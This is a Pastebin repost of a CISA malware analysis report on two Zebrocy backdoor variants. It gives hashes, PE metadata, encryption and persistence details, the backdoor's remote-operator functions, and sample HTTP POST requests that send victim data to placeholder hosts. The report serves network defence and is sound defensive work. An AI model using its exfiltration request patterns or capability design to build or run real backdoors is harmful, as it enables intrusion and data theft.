W0rMz000

ZEBROCY Backdoor

Nov 3rd, 2020
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.33 KB | None | 0 0
  1. This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
  2.  
  3. This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.
  4.  
  5. This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF). The malware variant, known as Zebrocy, has been used by a sophisticated cyber actor. CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.
  6.  
  7. Two Windows executables identified as a new variant of the Zebrocy backdoor were submitted for analysis. The file is designed to allow a remote operator to perform various functions on the compromised system.
  8.  
  9. Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. For more information on malicious cyber activity, please visit https[:]//www[.]us-cert.gov.
  10.  
  11. For a downloadable copy of IOCs
  12.  
  13. https://lnks.gd/l/eyJhbGciOiJIUzI1NiJ9.eyJidWxsZXRpbl9saW5rX2lkIjoxMDEsInVyaSI6ImJwMjpjbGljayIsImJ1bGxldGluX2lkIjoiMjAyMDEwMjkuMjk2MjMyODEiLCJ1cmwiOiJodHRwczovL3VzLWNlcnQuY2lzYS5nb3Yvc2l0ZXMvZGVmYXVsdC9maWxlcy9wdWJsaWNhdGlvbnMvTUFSLTEwMzEwMjQ2LTEudjEuV0hJVEUuc3RpeC54bWwifQ.ogeOVY_AMj86pfvNUVgIkffYd4LgLHa7nIrLMlYowNA/s/1193546235/br/87630458090-l
  14.  
  15. Submitted Files (2)
  16. 0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1 (smqft_exe)
  17.  
  18. 2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8 (sespmw_exe)
  19.  
  20. Findings
  21. 0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1
  22. Tags
  23. backdoor
  24.  
  25. Details
  26. Name smqft_exe
  27. Size 4307968 bytes
  28. Type PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
  29. MD5 ba9c59783b52b93aa6dfd4cfffc16f2b
  30. SHA1 ee6753448c3960e8f7ba325a2c00009c31615fd2
  31. SHA256 0be114fe30ef5042890c17033b63d7c9e0363972fcc15a61433c598dd33f49d1
  32. SHA512 bd9e059a9d8fc7deffd12908c01c7c53fbfa9af95296365aa28080d89a668e9eed9c2770ba952cf0174f464dc93e410c92dfdbbaa7bee9f4772affd0c55dee1c
  33. ssdeep 49152:vATdsrWzBmMmRytymPIcGkJGUAErdu5Pp6oUlMXH85jHuXJfZLJC23:gYYBmMdEsx5gDXgHuTLJ
  34. Entropy 6.196940
  35. Antivirus
  36. BitDefender Gen:Variant.Babar.17722
  37. Emsisoft Gen:Variant.Babar.17722 (B)
  38. Lavasoft Gen:Variant.Babar.17722
  39. YARA Rules
  40. No matches found.
  41.  
  42. ssdeep Matches
  43. No matches found.
  44.  
  45. PE Metadata
  46. Compile Date 1969-12-31 19:00:00-05:00
  47. Import Hash 20acdf581665d0a5acf497c2fe5e0662
  48. PE Sections
  49. MD5 Name Raw Size Entropy
  50. b6114d2ef9c71d56d934ad743f66d209 header 1024 2.184050
  51. 0ead1c8fd485e916e3564c37083fb754 .text 1952256 6.048645
  52. a5a4f98bad8aefba03b1fd8efa3e8668 .data 196096 5.841971
  53. 96bfb1a9a7e45816c45b7d7c1bf3c578 .rdata 2153984 5.690400
  54. 916cd27c0226ce956ed74ddf600a3a94 .eh_fram 1024 4.244370
  55. d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000
  56. 1f825370fd049566e1e933455eb0cd06 .idata 2560 4.462264
  57. 486c39eb96458f6f5bdb80d71bb0f828 .CRT 512 0.118370
  58. aa692f6a7441edad64447679b7d321e8 .tls 512 0.224820
  59. Description
  60. This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as a new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an Exclusive OR (XOR) and hexadecimal encoded Uniform Resource Identifier (URI) or it can run using a plaintext URI.
  61.  
  62. Displayed below is a sample plaintext argument used by the malware:
  63.  
  64. --Begin arguments--
  65. Domain: malware.exe <Domain>
  66. or
  67. IP: malware.exe <IP address:Port>
  68. --End arguments--
  69.  
  70. When executed, it will encrypt the URI using an Advanced Encryption Standard (AES)-128 Electronic Code Book (ECB) algorithm with a key generated from the victim's hostname. The encrypted data is hexadecimal encoded and stored into "%AppData%\Roaming\Personalization\EUDC\Policies030304332393839394630353537343934453244.”
  71.  
  72. It also collects information about the victim’s system such as username, 6 bytes of current user’s Security Identifiers (SID), and time of infection. The data is encrypted and hexadecimal encoded before being exfiltrated using the predefined URI:
  73.  
  74. --Begin POST requests--
  75.  
  76. --Begin POST request sample--
  77. POST / HTTP/1.1
  78. Host: www[.]<domain>.com
  79. User-Agent: Go-http-client/1.1
  80. Content-Length: 297
  81. Content-Type: multipart/form-data; boundary=ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228
  82. Accept-Encoding: gzip
  83.  
  84. --ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228
  85. Content-Disposition: form-data; name="filename"; filename="04760175017f0d0d7f7706067302007f0573010204007134463136334635"
  86. Content-Type: application/octet-stream
  87.  
  88. 1
  89. --ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228--
  90. --End POST request sample--
  91.  
  92. --Begin POST request sample--
  93. POST / HTTP/1.1
  94. Host: <IP address>:<Port>
  95. User-Agent: Go-http-client/1.1
  96. Content-Length: 297
  97. Content-Type: multipart/form-data; boundary=44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108
  98. Accept-Encoding: gzip
  99.  
  100. --44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108
  101. Content-Disposition: form-data; name="filename"; filename="04760175017f0d0d7f7706067302007f0573010204007134463136334635"
  102. Content-Type: application/octet-stream
  103.  
  104. 1
  105. --44f47dd373e3a0a0afc00d92bba90bc09c7add1bcf4074de385fd04d1108--
  106. --End POST request sample--
  107.  
  108. --End POST requests--
  109.  
  110. The malware is designed to encrypt future communication using an AES encryption algorithm.
  111.  
  112. The malware allows a remote operator to perform the following functions:
  113.  
  114. --Begin functions--
  115. File manipulation such as creation, modification, and deletion
  116. Screenshot capabilities
  117. Drive enumeration
  118. Command execution (using cmd.exe)
  119. Create scheduled task for persistence
  120. --End functions--
  121.  
  122. 2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8
  123. Details
  124. Name sespmw_exe
  125. Size 4313600 bytes
  126. Type PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
  127. MD5 e8596fd7a15ecc86abbbfdea17a9e73a
  128. SHA1 be07f6a2c9d36a7e9c4d48f21e13e912e6271d83
  129. SHA256 2631f95e9a46c821a701269a76b15bb065764cc15a0b268a4d1eac045975c9b8
  130. SHA512 4a2125a26467ea4eb913abe80a59a85f3341531d634766fccabd14eb8ae1a3e7ee77162df7d5fac362272558db5a6e18f84ce193296fcdfb790e44a52fabe02a
  131. ssdeep 49152:J8IkRvcuFh9fQgnf/1th+jrR7PNrNdbMFvm6oUlMXycR+Z5drM0us4:UJHFh91fFg/+MX9RgY0u
  132. Entropy 6.197768
  133. Antivirus
  134. BitDefender Gen:Variant.Babar.17722
  135. Emsisoft Gen:Variant.Babar.17722 (B)
  136. Lavasoft Gen:Variant.Babar.17722
  137. YARA Rules
  138. No matches found.
  139.  
  140. ssdeep Matches
  141. No matches found.
  142.  
  143. PE Metadata
  144. Compile Date 1970-01-04 14:01:20-05:00
  145. Import Hash 20acdf581665d0a5acf497c2fe5e0662
  146. PE Sections
  147. MD5 Name Raw Size Entropy
  148. 2ebbe6c38d9e8d4da2449cc05f78054a header 1024 2.198390
  149. a7c0885448e7013e05bf5ff61b673949 .text 1954816 6.046127
  150. 9bf966747acfa91eea3d6a1ef17cc30f .data 196096 5.843286
  151. 31182660fce8ae07d0350ebe456b9179 .rdata 2157056 5.696834
  152. 9eeb1eeb42e99c54c6429f9122285336 .eh_fram 1024 4.292769
  153. d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000
  154. 0bc884e39b3ba72fb113d63988590b5c .idata 2560 4.424718
  155. 9bbfafc74bc296cd99dc8307ffe120ac .CRT 512 0.114463
  156. 2b60c482048e4a03fbb82db9c3416db5 .tls 512 0.224820
  157. Description
  158. This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an XOR and hexadecimal encoded URI. The file cannot run using a plaintext URI as compared to the other Zebrocy backdoor binary "ba9c59783b52b93aa6dfd4cfffc16f2b". This file and ba9c59783b52b93aa6dfd4cfffc16f2b have similar functions.
  159.  
  160. When executed, it will encrypt the URI using AES-128 ECB algorithm with a key generated from the victim's hostname. The encrypted data is hexadecimal encoded and stored into "%AppData%\Roaming\UserData\Multimedia\Policies030304332393839394630353537343934453244".
  161.  
  162. It also collects information about the victim’s system such as username, 6 bytes of current user’s SID, and time of infection. The data is encrypted and hexadecimal encoded before exfiltrated using the predefined URI.
  163.  
  164. --Begin POST request--
  165. POST / HTTP/1.1
  166. Host: www[.]<domain>.com
  167. User-Agent: Go-http-client/1.1
  168. Content-Length: 297
  169. Content-Type: multipart/form-data; boundary=0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db
  170. Accept-Encoding: gzip
  171.  
  172. --0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db
  173. Content-Disposition: form-data; name="filename"; filename="04760175017f0d0d7f7706067302007f0573010204007134463136334635"
  174. Content-Type: application/octet-stream
  175.  
  176. 1
  177. --0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db--
  178. --End POST request--
  179.  
  180. The malware is designed to encrypt future communication using an AES encryption algorithm.
  181.  
  182. The malware allows a remote operator to perform the following functions:
  183.  
  184. --Begin functions--
  185. File manipulation such as creation, modification, and deletion
  186. Screenshot capabilities
  187. Drive enumeration
  188. Command execution (using cmd.exe)
  189. Create schedule a task for persistence manually
  190. More
  191. --End functions--
  192.  
  193. Recommendations
  194. CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
  195.  
  196. Maintain up-to-date antivirus signatures and engines.
  197. Keep operating system patches up-to-date.
  198. Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  199. Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  200. Enforce a strong password policy and implement regular password changes.
  201. Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  202. Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  203. Disable unnecessary services on agency workstations and servers.
  204. Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  205. Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  206. Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  207. Scan all software downloaded from the Internet prior to executing.
  208. Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
  209. Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".
Add Comment
Please, Sign In to add comment